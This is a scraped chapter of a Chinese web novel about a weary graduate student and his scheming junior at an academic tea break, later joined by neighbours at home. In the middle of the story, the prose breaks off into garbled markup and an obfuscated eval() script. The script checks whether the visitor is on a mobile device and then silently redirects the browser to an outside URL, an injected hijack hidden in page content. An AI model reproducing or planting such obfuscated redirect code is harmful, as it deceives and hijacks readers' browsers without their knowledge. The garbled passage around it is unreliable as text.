默认冷灰
24号文字
方正启体

9. 撑腰

作者:闻声渐醒本书字数:K更新时间:
    学术沙龙不比正式学术会议,氛围相较而言更为松弛,圆桌讨论、互动为主,第一轮讨论刚刚结束,这会儿到了茶歇时间,聊天的聊天,掏手机的掏手机。


    薄零打了个哈欠,随手抓了把坚果往旁边一伸。


    以往这种时候,她靳师兄不管吃不吃都会很有眼力见地接过去,可今天手都足足伸出去二里地、落在半空静置了一个世纪,座位上的师兄仍然一动不动。


    薄零满腹疑惑,收回手打眼往隔壁一看——她靳师兄此时憔悴得像是要嗝屁了。


    眼睛里头满是红血丝,眼眶下头挂着俩青黑,脸色白得跟鬼一样,纯靠手里的黑咖啡吊着口气,仿佛下一秒就能荣登西方极乐之境。


    “师兄,你昨天晚上……做贼了啊?”


    师妹咽了咽口水,关切地望着他。


    靳谦神情恹恹,低头闷了口热美式,声音像从远处飘过来的一样,裹着层薄薄的倦意:“对,把银行抢了。”


    脑子里一团浆糊,唯一有实感的就是手里的纸杯。


    社畜必备小蓝鹿,九块九续命一整天。


    薄零咂咂嘴,凝重道:“抢了多少?”


    脑袋昏昏沉沉,往左晃完了又朝右晃,悬在脖子上要落不落。


    靳谦努力掀开眼皮,意识尚未清醒,嘴抵着杯口语不惊人死不休:“够判。”


    空气静默片刻,薄零幽幽竖起大拇指,一脸正气:“刑、太刑了。”


    靳谦淡淡睨她一眼,无力再多说一句话,只是不停地抿着咖啡。


    他到家的时候差不多快六点。


    乌漆麻黑的天亮了,路边摊贩开始叫唤了,隔壁的邻居和家里的孩子也都已经歇下了。


    而他,刚瘫到客厅沙发上闭上眼,前后小憩了不到十分钟,霍然被导师一个电话震醒。


    通、知、去、接、人。


    身为课题组里驾龄最长开车最稳的首席大师兄,开车重任毋庸置疑地降临到了他身上。


    靳谦想死的心都有了。


    前段时间请假处理家事,导师派下来的项目不得不由师妹暂管,回来之后大大小小的事情都需要交接,这一来二去的,每天能花在睡觉上的时间不足四小时。


    按照这个节奏干下去迟早要完,他还不如到牢里住几天休息一阵子。


    起码作息规律,体力活动占比远远高于脑力活动。


    “师兄,咱们小老头是主办方,你可千万别在这儿咽气了。”


    顾忌宗门老大名声的薄师妹善意提醒。


    死个自家人多不吉利。


    靳谦:“……”


    骂人都没劲儿骂。


    “你还挺为他考虑。”也不知是不是半杯热美式灌进去起了心理作用,靳谦忽觉天光大亮,眼前清明了不少。


    再一看,哦,原来是对面教授的地中海发型反光。


    教授长着一张憨厚慈祥的面庞,与身边人交谈得正投入。


    他那颗晶莹剔透的脑袋在吊灯底下充分彰显着它的存在感,一晃过去又接着一闪,引得周围几个偷摸顺茶歇的学生频频侧目。


    几人相视一眼,又默契羞涩转头,不约而同地感叹“要不然人家是教授,果真聪明绝顶”。


    “那可不,自己的导师自己宠。”薄师妹也被对面教授的脑袋吸去了眼球,手肘往靳谦那儿一抵,压低声音道,“哎师兄,你看隔壁课题组那王教授……我的天呐头上都不剩几根了,还得是咱们老头保养得好,真给大家伙长脸。”


    “善言结善缘,恶语伤人心。”靳谦左手虚虚挡了下对面视线,右手毫不客气对着薄零脑门儿一敲,深深叹了口气,“你来之前看过老师发群里的那个文件没?”


    薄零捂着额头痛呼一声,一听有文件眼珠子差点瞪出去:“什么文件啊?”


    研究生十大噩梦之——重要文件过期。


    靳谦:“学术活动行为规范。”


    薄零缓缓打出一个问号。


    薄零长长舒了口气。


    好险。


    薄零:“嗐,早说嘛师兄,吓死我了都。”


    幸好不是什么重要文献,这时候回头看,文件肯定老早就过期了。


    靳谦目光直直地落到她身上,想刀一个人的眼神藏都藏不住。


    正是因为有这样的同门,他的日子才会一天比一天难过,每天不是在收拾烂摊子就是去收拾烂摊子的路上。


    以前头上还有师兄师姐陪他一起,现在好了,师姐扛不住家里催命回老家结婚,师兄恋爱脑耽误学术延毕两年道心破碎,能让导师用得放心的只剩靳谦一个。


    薄师妹是保研生,聪明归聪明,可她的聪明属于导师口中典型的聪明劲儿用不到正途上。


    插科打诨有几手,出了什么事溜得比谁都快。


    要不是她欠靳谦人情欠得够多,就算有人拿刀架她脖子上面她也不可能老实带项目。


    薄零对师兄的眼神杀一向十分畏惧,讪笑道:“哈哈……要不师兄你再给我发一份?”


    文件没有,核善的微笑倒是有一个。


    靳谦喝完咖啡,平静地将手中纸杯揉作一团,眼神依旧寒光毕现。


    薄零心里一咯噔,脑海中顷刻奔过满屏的“丸辣丸辣”。


    如果她不是性别为女的师妹,如果面前不是性别为男的师兄,现在被捏扁的就不只是杯子那么简单了。


    啧,那个经典款长发文艺男该被揍得有多惨啊?


    疼痛共享虽迟但到,薄零突然感觉浑身上下都不利索。


    “师兄你喝橙汁不?我给你倒。”


    终于,她开始病急乱投医了。


    “不喝。”


    无情拒绝。


    “那师兄你吃三明治不?我给你拿,看着卖相不错。”


    “不吃。”


    “布朗尼?”


    “太腻。”


    “水果挞?”


    “齁甜”


    “橘子!橘子总行了吧?”


    “麻烦。”


    ……


    薄零大受震撼,只差拍拍手鼓掌:“哇塞。”


    unbelievable.


    不是哥们,这也不吃那也不吃,挑成这副死德性到底是怎么活到这个岁数的?


    “没事。”薄零抿直嘴坚强地笑笑,“师兄你不吃有得是人吃。”


    靳谦:“嗯?”


    师妹不语,只是一味在口袋里东翻西找。


    过了一会儿,他眼睁睁看着师妹从外套口袋掏出一个……额,透明塑料袋。


    “你这是要干什么?”靳谦微微拧眉,不见棺材不落泪。


    薄零一下把塑料袋扑腾开,紧接着捞起桌上的美味小甜点就往袋子里放,挑的都是些已经包好的:“不明显吗?零元购。”


    靳谦:“……”


    丢天下之大脸。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123102|195991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    这些茶歇还是他本人亲自准备的。


    味道怎么样他难道还没点数吗?


    靳谦果断一把制止师妹零元购的动作,好声好气地说:“你要是想吃,我们回去的路上再买。”


    顿了两秒,他又补充道:“买比这贵的,我买单。”


    据他对薄零的了解,这人除给对象花钱外就是个老抠门精。


    平时一个子儿都不会掏出来,到处薅羊毛。


    果不其然,师妹闻言眼睛噌一下亮了起来。


    有便宜不占王八蛋啊!


    这好处此时不薅更待何时!


    不过她就只是想想,既没松口也没放手,嘴里还念叨着:“师兄,今时不同往日。”


    “从前的薄零已经死了。”


    “现在站在这里的,是钮祜禄·Zero Bo。”


    —


    应辞年搭着喻晨肩膀笑得直不起腰,一边笑一边锤墙:“你这师妹太有意思了,谁想出来的钮祜禄·Zero Bo?”


    学术沙龙一直到下午六点才结束,晚上回来的时候薄零嚷嚷着要把顺来的茶歇带去给小朋友吃,一句“给孩子的”伴着一句“又不是给你的”,愣是把靳谦磨到了车开进小区那刻。


    喻晨似乎对应辞年印象不错,这种情况放到他初次见的人里实在少有。


    再加上某位应少爷最近又刚好闲得蛋疼,靳谦不在家的时候,喻晨就跟着应辞年打打游戏看看书,要不就是画俩鬼画符再出门吃几顿好的。


    小日子过得可滋润。


    师妹拎着一塑料袋茶歇跟回自己家似的,走起路来脚下生风,赶在靳谦把她扔出去之前见到了喻晨小朋友。


    哦,还有她前些天时不时吐槽一下的神经病长发文艺男。


    应辞年这天又给自己整了套雷霆穿搭,一身极致的废土风,和乞丐一块儿放到大街上没几个人能分清谁是正统。


    薄零是背地里悄悄编排过他几次没错,但也不能算是讨厌人家。


    稍微审时度势一下,她师兄和这人面子上好像还过得去。


    毕竟邻里邻居,抬头不见低头见的,而且都已经把孩子放人家那儿存着了,能是什么多坏的关系?


    人精薄师妹心里那么一估量,转头就对应辞年变了副态度,一改当初在靳谦面前说他神经病的暴躁老妹形象,要多素质有多素质。


    本以为人际关系这块儿拿捏得死死的,薄零人走不过一刻钟,心机师兄立马给她卖了。


    “你告诉我这些,对得起你师妹刚洒下的豪言壮语吗?”


    应辞年笑得肩膀一抖接着一抖,喻晨皱着眉头小心扶他。


    一个没扶稳,应少爷直接扒着墙丝滑跪地。


    形象是一点儿没有。


    靳谦见状摇了摇头,恨不得从没认识过这人。


    应辞年嘴上少有把门的时候,当着薄零的面儿就和靳谦聊起周末接风宴的事。


    男朋友给前男友举办的接风宴,还要求靳谦这个现男友必须到场。


    在座各位没一个能懂云敏的脑回路。


    薄零对这种不清不楚的关系恨得牙痒痒,用燕城方言夹着英语把云敏从头到尾骂了一遍。


    骂完之后,她正义感爆棚地拍拍靳谦肩膀,和他打包票说:“师兄别怂,他们那群天龙人公子哥有钱了不起啊,咱们学阀什么时候怕过?”


    “嘁,一帮low货水本。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)